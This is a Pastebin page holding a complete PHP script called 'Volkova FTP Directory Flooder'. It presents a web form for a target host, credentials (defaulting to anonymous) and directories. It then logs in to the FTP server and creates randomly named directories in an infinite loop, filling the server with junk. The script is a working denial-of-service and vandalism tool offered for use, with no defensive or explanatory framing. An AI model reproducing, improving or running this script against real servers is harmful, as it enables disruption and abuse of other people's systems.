Volkova

PHP FTP Flooder

Jun 17th, 2011
231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.94 KB | None | 0 0
  1. <?php
  2. /*
  3. *    +--------------------------------------------------------------+
  4. *    | Volkova FTP Directory Flooder                                |
  5. *    +--------------------------------------------------------------+
  6. *    |                                                              |
  7. *    | Author: Ryan                                                 |
  8. *    | Version: 0.02                                                |
  9. *    |                                                              |
  10. *    |                                                              |
  11. *    |                                                              |
  12. *    +--------------------------------------------------------------+
  13. */
  14.  
  15. error_reporting(0);
  16.  
  17. class flood {
  18.     function genRandom() {
  19.         $length = rand(1, 45);
  20.         $validCharacters = "abcdefghijklmnopqrstuxyvwz£$%^&()-_+={}[];@'#~,.`¬ABCDEFGHIJKLMNOPQRSTUXYVWZ0123456789";
  21.         $validCharNumber = strlen($validCharacters);
  22.         $result = "";
  23.         for ($i = 0; $i < $length; $i++) {
  24.             $index = mt_rand(0, $validCharNumber - 1);
  25.             $result .= $validCharacters[$index];
  26.         }
  27.         return $result;
  28.     }
  29.  
  30.     function foo() {
  31.         if ( $_POST ) {
  32.             return $this->candf();
  33.         } else {
  34.             print <<<FORM
  35.                 <form action="{$_SERVER['PHP_SELF']}" method="post">
  36.                     <label for="host">Host:</label><br />
  37.                     <input name="host" id="host" type="text" maxlength="150" />
  38.                     <div class="clear"></div>
  39.                     Leave Username & Password blank for anonymous login. <br />
  40.                     <label for="username">Username:</label><br />
  41.                     <input name="username" id="username" type="text" maxlength="150" />
  42.                     <div class="clear"></div>
  43.                     <label for="password">Password:</label><br />
  44.                     <input name="password" id="password" type="text" maxlength="150" />
  45.                     <div class="clear"></div>
  46.                     <input type="checkbox" name="rootdir" value="1"> Root Directory<br>
  47.                     <div class="clear"></div>
  48.                     <label for="directory">Directories to flood (Seperated by commas):</label><br />
  49.                     <input name="dir" id="dir" type="text" maxlength="150" />
  50.                     <div class="clear"></div>
  51.                     <input type="submit" value="Go!" />
  52.                 </form>
  53. FORM;
  54.         }
  55.     }
  56.     function candf() {
  57.         $host = $_POST['host'];
  58.         if ( $_POST['username'] ) {
  59.             $user = $_POST['username'];
  60.         } else {
  61.             $user = 'anonymous';
  62.         }
  63.         if ( $_POST['password'] ) {
  64.             $pass = $_POST['password'];
  65.         } else {
  66.             $pass = 'anonymous';
  67.         }
  68.        
  69.         $conn = ftp_connect("$host") or die("Could not connect to host");
  70.  
  71.         ftp_login($conn,$user,$pass) or die("Could not login");
  72.            
  73.         while (true) {
  74.             $rand = $this->genRandom();
  75.             $string = $_POST['dir'];
  76.             $string = str_replace(' ', '', $string);
  77.  
  78.             $directories = explode(',', $string);
  79.            
  80.             if ( isset($_POST['rootdir']) ) {
  81.                 echo ftp_mkdir($conn,"/$rand");
  82.             }
  83.  
  84.             foreach($directories as $value) {
  85.                 echo ftp_mkdir($conn,"$value/$rand");
  86.             }
  87.         }
  88.        
  89.         ftp_close($conn);
  90.     }
  91. }
  92.  
  93. $flood = new flood();
  94. $flood->foo();
  95.  
  96. ?>
Advertisement
Add Comment
Please, Sign In to add comment